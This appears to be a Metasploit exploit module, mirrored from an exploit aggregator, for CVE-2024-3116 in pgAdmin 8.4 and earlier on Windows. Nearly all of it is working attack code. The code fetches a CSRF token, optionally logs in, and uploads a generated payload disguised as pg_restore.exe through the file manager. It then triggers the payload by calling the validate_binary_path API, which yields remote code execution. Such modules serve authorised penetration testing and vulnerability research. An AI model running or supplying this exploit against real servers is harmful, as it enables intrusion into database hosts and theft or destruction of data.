Share
## https://sploitus.com/exploit?id=PACKETSTORM:180464
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'pgAdmin Binary Path API RCE',  
'Description' => %q{  
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)  
vulnerability through the validate binary path API. This vulnerability  
allows attackers to execute arbitrary code on the server hosting PGAdmin,  
posing a severe risk to the database management system's integrity and the security of the underlying data.  
  
Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'M.Selim Karahan', # metasploit module  
'Mustafa Mutlu', # lab prep. and QA  
'Ayoub Mokhtar' # vulnerability discovery and write up  
],  
'References' => [  
[ 'CVE', '2024-3116'],  
[ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'],  
[ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116']  
],  
'Platform' => ['windows'],  
'Arch' => ARCH_X64,  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => '2024-03-28',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'Reliability' => [ REPEATABLE_SESSION, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(8000),  
OptString.new('USERNAME', [ false, 'User to login with', '']),  
OptString.new('PASSWORD', [ false, 'Password to login with', '']),  
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/'])  
]  
)  
end  
  
def check  
version = get_version  
return CheckCode::Unknown('Unable to determine the target version') unless version  
return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.5')  
  
CheckCode::Vulnerable("pgAdmin version #{version} is affected")  
end  
  
def set_csrf_token_from_login_page(res)  
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/  
@csrf_token = Regexp.last_match(1)  
# at some point between v7.0 and 7.7 the token format changed  
elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)  
@csrf_token = element['value']  
end  
end  
  
def set_csrf_token_from_config(res)  
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/  
@csrf_token = Regexp.last_match(1)  
# at some point between v7.0 and 7.7 the token format changed  
else  
@csrf_token = res.body.scan(/pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'/)&.flatten&.first  
end  
end  
  
def auth_required?  
res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'keep_cookies' => true)  
if res&.code == 302 && res.headers['Location']['login']  
true  
elsif res&.code == 302 && res.headers['Location']['browser']  
false  
end  
end  
  
def on_windows?  
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)  
if res&.code == 200  
platform = res.body.scan(/pgAdmin\['platform'\]\s*=\s*'([^']+)';/)&.flatten&.first  
return platform == 'win32'  
end  
end  
  
def get_version  
if auth_required?  
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)  
else  
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/'), 'keep_cookies' => true)  
end  
html_document = res&.get_html_document  
return unless html_document && html_document.xpath('//title').text == 'pgAdmin 4'  
  
# there's multiple links in the HTML that expose the version number in the [X]XYYZZ,  
# see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27  
versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }  
return unless versioned_link  
  
Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")  
end  
  
def csrf_token  
return @csrf_token if @csrf_token  
  
if auth_required?  
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)  
set_csrf_token_from_login_page(res)  
else  
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)  
set_csrf_token_from_config(res)  
end  
fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token  
@csrf_token  
end  
  
def exploit  
if auth_required? && !(datastore['USERNAME'].present? && datastore['PASSWORD'].present?)  
fail_with(Failure::BadConfig, 'The application requires authentication, please provide valid credentials')  
end  
  
if auth_required?  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'authenticate/login'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'csrf_token' => csrf_token,  
'email' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'language' => 'en',  
'internal_button' => 'Login'  
}  
})  
  
unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')  
fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')  
end  
  
print_status('Successfully authenticated to pgAdmin')  
end  
  
unless on_windows?  
fail_with(Failure::BadConfig, 'This exploit is specific to Windows targets!')  
end  
file_name = 'pg_restore.exe'  
file_manager_upload_and_trigger(file_name, generate_payload_exe)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
  
# file manager code is copied from pgadmin_session_deserialization module  
  
def file_manager_init  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'file_manager/init'),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'headers' => { 'X-pgA-CSRFToken' => csrf_token },  
'data' => {  
'dialog_type' => 'storage_dialog',  
'supported_types' => ['sql', 'csv', 'json', '*'],  
'dialog_title' => 'Storage Manager'  
}.to_json  
})  
  
unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) && (home_folder = res.get_json_document.dig('data', 'options', 'homedir'))  
fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction Id or home folder')  
end  
  
return trans_id, home_folder  
end  
  
def file_manager_upload_and_trigger(file_path, file_contents)  
trans_id, home_folder = file_manager_init  
  
form = Rex::MIME::Message.new  
form.add_part(  
file_contents,  
'application/octet-stream',  
'binary',  
"form-data; name=\"newfile\"; filename=\"#{file_path}\""  
)  
form.add_part('add', nil, nil, 'form-data; name="mode"')  
form.add_part(home_folder, nil, nil, 'form-data; name="currentpath"')  
form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => "multipart/form-data; boundary=#{form.bound}",  
'headers' => { 'X-pgA-CSRFToken' => csrf_token },  
'data' => form.to_s  
})  
unless res&.code == 200 && res.get_json_document['success'] == 1  
fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')  
end  
  
upload_path = res.get_json_document.dig('data', 'result', 'Name')  
register_file_for_cleanup(upload_path)  
print_status("Payload uploaded to: #{upload_path}")  
  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/misc/validate_binary_path'),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'headers' => { 'X-pgA-CSRFToken' => csrf_token },  
'data' => {  
'utility_path' => upload_path[0..upload_path.size - 16]  
}.to_json  
})  
  
true  
end  
  
end